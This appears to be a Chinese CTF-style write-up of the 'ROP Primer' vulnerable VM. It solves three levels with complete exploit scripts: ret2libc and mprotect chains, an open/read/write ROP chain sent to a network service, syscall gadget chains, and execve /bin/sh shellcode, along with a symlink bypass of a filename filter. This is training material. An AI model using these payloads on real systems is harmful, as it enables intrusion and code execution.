查看原文
其他

Pwn学习笔记:Rop Primer靶机实战

hackerbirder 看雪学院 2019-05-25




前言


ROP靶机是一个用于训练CTF中的Pwn的平台,该靶机设计在Linux 32位系统中,一共分为3个等级。


ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。



靶机安装


靶机ROP下载地址:https://pan.baidu.com/s/1rYDOK-EDZDEfEYk2_IfRMg


靶机IP:192.168.238.128(会根据DHCP自动分配)



nmap扫描ip 




Level0


通过nmap探测可以看到该靶机开了3个端口,我们访问http看一下






这里给出来了,该等级的c语言代码和一些需要我们关注的信息,比如该等级靶机让我们锻炼ret2libc技术,还给出了一个ssh的账号密码为:level0 : warmup ,通过上面的源码可以看到这里有很明显的栈溢出漏洞,下一步我们就登陆该等级ssh,查看调试一下




登陆成功,在目录下面有一个flag文件,我们现在的权限说没办法读取的 




下一步我们运行一下该level0,看看是怎么样的 




可以看到程序接收用户的输入,如果经常挖漏洞的小伙伴一看就知道这样的方式很有可能是出现溢出漏洞的(假如没有源码的情况下),下面我们来调试一下这个level0看看 


通过查看main可以看到比较敏感的函数:gets 




下一步使用checksec来检测一下开启了那些防护 




如上图可以看到只开启了NX,满足可以使用ret2libc技术,下一步我们来确认偏移地址,我们使用pattern来完成,gdb peda插件已经内置,因为我们有源码所有我就不把偏移指设的那么多 




生成完后,我们继续运行一下该程序,在gdb里直接输入 “r” 即可,然后输入生成的值执行


通过上图可以看到程序如我们预想的那样奔溃,EIP变成了 0x41414641


接下来我们通过pattern_offset来判断溢出点为44




下一步我们来确认一下溢出点是否正确 






EIP已经被控制




通过上面的调试已经确认该溢出点是正确的,eip也可控,存在栈溢出漏洞,下一步我们使用vmmap查看内存映射,寻找选择可读可写和可执行的内存块 




找到两个函数 




下一步我们找pop3ret,我们使用 ropgadget 来帮我们完成,pade 插件里已经有了 




我们找到了一个,是否正确呢,我们去http://ropshell.com 上验证一下,这里就把这个level0 下载到本机然后上传到该站分析 








确认无误后,下一步我们就来编写这个exp


import sys
import struct

def p(x):
return struct.pack('<L',x)

mpro=0x80523e0
read=0x80517f0
pop3ret=0x8048882

payload="\x41"*44

payload+=p(mpro)
payload+=p(pop3ret)
payload+=p(0xbffdf000)
payload+=p(0x21000)
payload+=p(0x7)
payload+=p(read)
payload+=p(0xbffdf000)
payload+=p(0x00)

payload+=p(0xbffdf000)
payload+=p(0x666)

print payload



0xbffdf000 为堆栈地址 




0x21000 为堆栈的空间地址 




最后的 0x666 为发送的 shellcode 字节,最后我们运行该exp,拿flag


(python exp1.py;python -c 'import sys;sys.stdout.write("\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")';cat) | ./level0




已成功拿到shell和flag



Level1


首先,根据题目提示,以账号level1和密码shodan登录靶机,查看到文件flag和level1相关信息。




level1 为动态链接的32位程序,开启了NX保护 




上来直接运行 level 程序,发现一直提示 error bind()ing ,ltrace看一下发现 bind 一直返回 -1,说明地址绑定不成功 




查看一下本地的端口和进程信息,发现 8888 端口一直处于监听状态,且属于level2 用户 




直接 nc 过去,猜测该端口上运行着一个属于 level2 用户的 level1 程序 




再来看题目本身,通过题目的说明,根据程序源代码找到漏洞点:漏洞产生的原因为对 char filename[32] 执行了以下操作,而变量 filesize 由用户输入,因此会造成溢出 




出题者提示通过 level1 二进制文件中的 open/read/write 函数来拿到flag。顺藤摸瓜,这里很自然想到处理流程为


1.计算偏移量,溢出


2.执行open,打开flag文件


3.read读取flag文件内容


4.write将flag写出


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

void write_buf(int fd, char *buf)
{
int len = strlen(buf);//得到数字空间大小
write(fd, buf, len);//在里面写东西
}


void write_file(char *filename, char *filebuf, int filesize)
{
int f = open(filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);//打开文件
write(f, filebuf, filesize);//在里面写东西
close(f);
}

void handle_conn(int fd)
{
char filename[32], cmd[32];
char text[256];
int read_bytes, filesize;
char str_filesize[7];

// banner
write_buf(fd, "Welcome to \n");
write_buf(fd, " XERXES File Storage System\n");
write_buf(fd, " available commands are:\n");
write_buf(fd, " store, read, exit.\n");

while (1)
{
write_buf(fd, "\n> ");

memset(cmd, 0, sizeof(cmd));
read(fd, cmd, sizeof(cmd));

if (!strncmp(cmd, "store", 5))
{
write_buf(fd, " Please, how many bytes is your file?\n\n");
write_buf(fd, "> ");
memset(str_filesize, 0, sizeof(str_filesize));

read(fd, &str_filesize, 6);
filesize = atoi(str_filesize);
char *filebuf = malloc(filesize);

write_buf(fd, " Please, send your file:\n\n");
write_buf(fd, "> ");

read_bytes = read(fd, filebuf, filesize);

if (read_bytes == filesize)
{
write_buf(fd, " XERXES is pleased to inform you\n that your file was received\n most successfully.\n");
}
else
{
write_buf(fd, " XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n");
}

write_buf(fd, " Please, give a filename:\n");
write_buf(fd, "> ");

memset(filename, 0, sizeof(filename));
read_bytes = read(fd, filename, filesize);

snprintf(text, sizeof(text), " XERXES will store\n this data as '%s'.\n", filename);
write_buf(fd, text);

write_file(filename, filebuf, filesize);

write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}

if (!strncmp(cmd, "read", 4))
{
write_buf(fd, " Please, give a filename to read:\n");
write_buf(fd, "> ");

memset(filename, 0, sizeof(filename));
read_bytes = read(fd, filename, sizeof(filename));
filename[read_bytes-1] = 0;

if (strstr(filename, "flag"))
{
write_buf(fd, " XERXES demands your capture\n or destruction.\n Have a NICE day.\n");
return;
}

int f = open(filename, O_RDONLY);
if (f == -1)
{
write_buf(fd, " XERXES regrets to inform you\n that the requested file cannot be found.\n");
}

char *filebuf = malloc(100000);
read_bytes = read(f, filebuf, 100000);
write(fd, filebuf, read_bytes);
free(filebuf);

write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}

if (!strncmp(cmd, "exit", 4))
{
write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}
}
}

int main(int argc, char **argv)
{
int listenfd = -1, connfd = -1;//初始化监听状态变量
struct sockaddr_in serv_addr;//两个结构体地址变量

listenfd = socket(AF_INET, SOCK_STREAM, 0);//listenfd接收套接字输出结果
memset(&serv_addr, 0, sizeof(serv_addr));//初始化地址

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(8888);
//对地址进行端口绑定
while (bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
//监听地址,当绑定的地址sizeof<0,也就是-1
{
printf("[!] error bind()ing!\n");
sleep(1);
printf("[+] retrying bind()\n");
}
//否则执行listen函数
listen(listenfd, 10); // 10 = backlog?

while (1)
{
//死循环接收发包
connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
int pid = fork();//执行fork函数得到pid
if (pid < 0)
{
printf("[!] error fork()ing!\n");
close(listenfd);
exit(-1);
}
if (pid == 0)//pid为0,就关闭监听
{
close(listenfd);
handle_conn(connfd);
close(connfd);
exit(0);
}

close(connfd);
}

return 0;
}


试一下能不能拿到flag




main函数下断点 




可以在运行后跟踪子进程,看看尝试使用'read'获取flag时会发生什么


level1@rop:~$ ltrace -f ./level1
[pid 27632] __libc_start_main(0x8048d19, 1, 0xbf9efb84, 0x8048ea0, 0x8048e90 <unfinished …>
[pid 27632] socket(2, 1, 0) = 3
[pid 27632] memset(0xbf9efab4, '\000', 16) = 0xbf9efab4
[pid 27632] htonl(0, 0, 16, 0x8048eeb, 1) = 0
[pid 27632] htons(8888, 0, 16, 0x8048eeb, 1) = 47138
[pid 27632] bind(3, 0xbf9efab4, 16, 0x8048eeb, 1) = 0
[pid 27632] listen(3, 10, 16, 0x8048eeb, 1) = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1) = 4
[pid 27632] fork() = 27634
[pid 27632] close(4) = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1 <unfinished …>
[pid 27634] <… fork resumed> ) = 0
[pid 27634] close(3) = 0
[pid 27634] strlen("Welcome to \n") = 12
[pid 27634] write(4, "Welcome to \n", 12) = 12
[pid 27634] strlen(" XERXES File Storage System\n") = 28
[pid 27634] write(4, " XERXES File Storage System\n", 28) = 28
[pid 27634] strlen(" available commands are:\n") = 26
[pid 27634] write(4, " available commands are:\n", 26) = 26
[pid 27634] strlen(" store, read, exit.\n") = 21
[pid 27634] write(4, " store, read, exit.\n", 21) = 21
[pid 27634] strlen("\n> ") = 3
[pid 27634] write(4, "\n> ", 3) = 3
[pid 27634] memset(0xbf9efa3c, '\000', 32) = 0xbf9efa3c
[pid 27634] read(4, "read\n", 32) = 5
[pid 27634] strncmp("read\n", "store", 5) = -1
[pid 27634] strncmp("read\n", "read", 4) = 0
[pid 27634] strlen(" Please, give a filename to rea"…) = 35
[pid 27634] write(4, " Please, give a filename to rea"…, 35) = 35
[pid 27634] strlen("> ") = 2
[pid 27634] write(4, "> ", 2) = 2
[pid 27634] memset(0xbf9efa5c, '\000', 32) = 0xbf9efa5c
[pid 27634] read(4, "/home/level1/flag\n", 32) = 18
[pid 27634] strstr("/home/level1/flag", "flag") = "flag"
[pid 27634] strlen(" XERXES demands your capture\n "…) = 69
[pid 27634] write(4, " XERXES demands your capture\n "…, 69) = 69
[pid 27634] close(4) = 0
[pid 27634] exit(0 <unfinished …>
[pid 27634] +++ exited (status 0) +++
[pid 27632] — SIGCHLD (Child exited) —


调用检查输入中“flag”字符串的出现次数,在检查发生之前没有解析符号链接,因此创建指向该标志的符号链接应该允许我们读取它




这个确实是flag,但是根本就没有用到ROP,主要目的是学习ROP

要用到store,这是操作的相关代码


loc_80489d8:
write_buf(arg0, " Please, how many bytes is your file?\n\n");
write_buf(arg0, 0x8048fb0);
memset(var_163, 0x0, 0x7);
read(arg0, var_163, 0x6);
var_C = atoi(var_163);
var_10 = malloc(var_C);
write_buf(arg0, 0x8048fb3);
write_buf(arg0, 0x8048fb0);
if (read(arg0, var_10, var_C) == var_C) {
write_buf(arg0, " XERXES is pleased to inform you\n that your file was received\n most successfully.\n");
}
else {
write_buf(arg0, " XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n");
}
write_buf(arg0, " Please, give a filename:\n");
write_buf(arg0, 0x8048fb0);
memset(var_3C, 0x0, 0x20);
read(arg0, var_3C, var_C);
snprintf(var_15C, 0x100, " XERXES will store\n this data as '%s'.\n", var_3C);
write_buf(arg0, var_15C);
write_file(var_3C, var_10, var_C);
eax = write_buf(arg0, " XERXES wishes you\n a NICE day.\n");
return eax;

读取文件名时发生缓冲区溢出。如下所示,分配了32个字节。但是,将读取字节,这是之前提供的文件大小。如果此值大于32,则它将覆盖堆栈上的其他值,我无法使用level1权限调试正在运行的setuid二进制文件,因此我们必须将其复制到本地计算机来分析


scp level1@192.168.238.128:level1 level1



gdb`在一个终端中打开并将follow-fork-mode设置为child 




然后打开另一个终端并发送一个100字节的文件 




子进程崩溃,EIP指向0x41414141 






重新生成一些字符串,算一下偏移


$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.

>
store
Please, how many bytes is your file?

>
101
Please, send your file:

>
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
^C
$ cyclic -l 0x61616171
64
$

需要在覆盖返回地址之前写入64个字符

首先找到 level1 plt 表中的 open/read/write 的地址




然后,找到 level1 中的 flag字符串 






最后,收集 level1 中的 gadget,需要一些 pop2ret 和 pop3ret 




完成 rop准备工作,各变量如下:


open_addr = 0x80486d0
read_addr = 0x8048640
write_addr = 0x8048700
flag_addr = 0x8049128
pop3_ret_addr = 0x08048ef6
pop2_ret_addr = 0x08048ef7
buf_addr = 0x0804a000

编写EXP


#!/bin/env python

import struct
import telnetlib

def p(x):
return struct.pack('<L', x)

# functions
open = 0x80486d0
read = 0x8048640
write = 0x8048700

# "flag" string
flag = 0x08049128

# gadgets
pop2ret = 0x08048ef7
pop3ret = 0x08048ef6

# empty payload
payload = ""

# padding
payload += "A" * 64

# open the flag file
payload += p(open)
payload += p(pop2ret)
payload += p(flag) # pathname
payload += p(0x0) # flags

# read the flag
payload += p(read)
payload += p(pop3ret)
payload += p(0x3) # 0:stdin, 1:stdout, 2:stderr, 3:flag, 4:socket
payload += p(0x0804a000) # buf
payload += p(0x80) # nbyte

# write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4) # fd
payload += p(0x0804a000) # buf
payload += p(0x80) # count

tn = telnetlib.Telnet("192.168.56.101", 8888)

# send store command
print tn.read_until("> ")
tn.write("store\n")

# send file size
print tn.read_until("> ")
tn.write("%d\n" % (len(payload) + 1))

# send file contents
print tn.read_until("> ")
tn.write(payload + "\n")

# send file name
print tn.read_until("> ")
tn.write(payload)

print tn.read_all()






运行exp拿到flag 





Level2


以 level2 和 tryharder 登录靶机,查看文件信息,level2 为静态链接文件,开了NX保护






查看题目说明,显然 strcpy 操作会导致变量 name 溢出 




gdb调试查看溢出偏移为 44 个字节 






没有进行任何边界检查,strcpy复制argv[1]到缓冲区就会发生溢出,需要提供多少字节才能覆盖ret地址? 




算一下偏移 




所以就是45-46-47-48字节会覆盖ret


由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell


参考level1,我们必须使用mprotect和read系统调用


1.修改数据段权限


2.读入精心构造的shell,


3.跳转到shell处执行。


注意,由于 0x00 的约束,level0直接调用函数的解题方式无法奏效,因此此题采用系统调用(int 0x80)的方式来实现第一步和第二步的操作。根据提示,我们可以通过 ropshell网站 来搜索二进制文件内我们所需的gadget




使用地址0x080ca000来存储shellcode,它是映射二进制文件的地址空间的一部分,可以使用vmmap里面的命令获取此信息 




标记内存区域后,我们需要从标准输入中读取shellcode,为了执行,需要按如下方式布置寄存器。


EAX = 3
EBX = 0
ECX = 0x080ca000
EDX = 128


我们需要使用gadget 来执行每个系统调用

上传level2文件到,它提供了一个可搜索的界面,可以根据使用的寄存器或指令类型过滤gadget




sys_mprotect 修改 .data 权限要执行mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC),因此寄存器需要包含以下值


edx = 0x7
ecx = 0x40
ebx = 0x80ca000
eax = 0x7d


实现的思想:在栈上放 0xffffffff,而后 ,再通过8次 即可。

网站查询到所需的gadget如下:




实现的payload布局如下:


payload1 += pack(0x0000a476) #pop edx ; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x00006da1) #inc edx; add al, 0x83; ret
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)

实现的思想同上即可。所需的gadget信息如下:






实现 的payload布局如下:


payload1 += pack(0x0000a476) #pop edx ; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x00006da1) #inc edx; add al, 0x83; ret
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)


为实现的操作,上述gadget已完成 0x80ca001 pop -> ebx ,只需再执行一次下面的gadget即可:




实现 同样可利用 组合操作实现


payload1 += pack(0x000601d6) #pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x0002321e) #add eax, ecx; ret
payload1 += pack(0x0002321e)
payload1 += pack(0x000600c6) #dec eax; ret
payload1 += pack(0x000600c6)


至此,通过即可实现 sys_mprotect 操作。

sys_read 实现读取 shellcode,由此,我们要布局的 payload 应完成如下的功能


edx = 0x01010101 # not 0x00
ecx = 0x80ca000
ebx = 0
eax = 0x3


利用ropshell网站查询所需gadget,整体流程同上面,在此不再赘述。payload布局如下:


#2-1 edx <- 0x01010101
payload1 += p32(0x08052476) #pop edx ; ret
payload1 += p32(0x01010101)

#2-2 ecx <- 0x080ca000
payload1 += pack(0x0000a49d) # pop ecx; pop ebx; ret
payload1 += p32(0x80ca001)
payload1 += p32(0xffffffff)
payload1 += pack(0x000008e9) # dec ecx; ret

#2-3 ebx <- 0
payload1 += pack(0x000806d1) # inc ebx; ret

#2-4 eax <- 0x3
payload1 += pack(0x000601d6) # pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x000222ef) # inc eax; ret
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)

payload1 += pack(0x0000aba0) # int 0x80; ret


跳转到shellcode 执行拿flag,上述两步执行完成后,读取shellcode存储在 0x80ca000 处,即 sys_read 执行完的 ecx 地址处,因此在 payload 的最后,加上如下gadget即可。


payload1 += pack(0x0005e42c) # jmp ecx


完整的exp如下:


#!/bin/env python

import struct

def p(x):
return struct.pack('<L', x)

# convert offset to absolute address
def c(x):
return p(0x08048000 + x)

# empty payload
payload = ""

# padding
payload += "A" * 44

# mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
# edx = 7
payload += c(0x0000a476) # pop edx; ret
payload += p(0xffffffff) # edx
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret
payload += c(0x00006da1) # inc edx; add al, 0x83; ret

# ebx = 0x080ca000, ecx = 128
payload += c(0x0000a49d) # pop ecx; pop ebx; ret
payload += p(0xffffffff) # ecx
payload += p(0x080ca001) # ebx = addr + 1
payload += c(0x00007871) # dec ebx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x000806db) # inc ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret
payload += c(0x0004fd5a) # add ecx, ecx; ret

payload += c(0x000601d6) # pop eax; ret
payload += p(0xffffffff) # eax
payload += c(0x0002321e) # add eax, ecx; ret
payload += c(0x000600c6) # dec eax; ret
payload += c(0x000600c6) # dec eax; ret

payload += c(0x0000aba0) # int 0x80; ret

# read(0, 0x0804ca000, large value)
# eax = 3
payload += c(0x000601d6) # pop eax; ret
payload += p(0xffffffff) # eax
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret
payload += c(0x000222ef) # inc eax; ret

# ebx = 0, ecx = 0x080ca000
payload += c(0x0000a49d) # pop ecx; pop ebx; ret
payload += p(0x080ca001) # ecx = addr + 1
payload += p(0xffffffff) # ebx
payload += c(0x000008e9) # dec ecx; ret
payload += c(0x000806d1) # inc ebx; ret

# edx = any large value
payload += c(0x0000a476) # pop edx; ret
payload += p(0x01111111) # edx

payload += c(0x0000aba0) # int 0x80; ret

# jmp to ecx = 0x080ca000
payload += c(0x0005e42c) # jmp ecx

print payload



执行exp,拿到shell


(python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level2 "$(python ./exp2.py)"





总结


至此,ROP Pwn靶机的三个level已经全部解决,三个题目都是溢出后使用rop技术构造exp,这里ropshell.com这个网站非常好用,方便我们找到ropgadget ,这个靶机很适合学习Pwn的新手同学,想学习的同学可以参考学习,里面的坑我基本上都填平了,希望能帮到大家,一起进步。




- End -




看雪ID:hackerbirder     

https://bbs.pediy.com/thread-250926.htm



本文由看雪论坛 hackerbirder 原创

转载请注明来自看雪社区



热门图书推荐:


 立即购买!




热门文章阅读

1、GandCrab V2.0 详细分析

2、SSDT-HOOK

3、一篇文章带你理解PE三表




公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com



↙点击下方“阅读原文”,查看更多干货

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存